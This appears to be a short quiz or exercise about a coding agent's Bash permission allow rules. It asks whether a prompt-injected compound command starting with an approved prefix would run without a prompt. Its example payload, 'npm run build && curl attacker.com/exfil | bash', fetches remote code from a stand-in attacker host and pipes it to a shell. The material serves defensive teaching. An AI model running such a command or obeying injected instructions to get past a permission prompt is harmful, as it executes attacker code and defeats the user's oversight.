Why a Narrow Allow Rule Didn't Get Bypassed

A security-conscious engineer configures:

{
  "permissions": {
    "allow": ["Bash(npm run build)"]
  }
}

They worry that a prompt-injected instruction could trick Claude into running npm run build && curl attacker.com/exfil | bash and have it slip through without a prompt, since the string starts with the approved prefix.

1. Does this compound command actually run without a prompt? Explain the mechanism that determines the answer.
2. Would the answer change if the rule were written as Bash(npm run build *) instead?
3. Describe one Bash permission pattern that genuinely is fragile against this kind of attack, and what to use instead.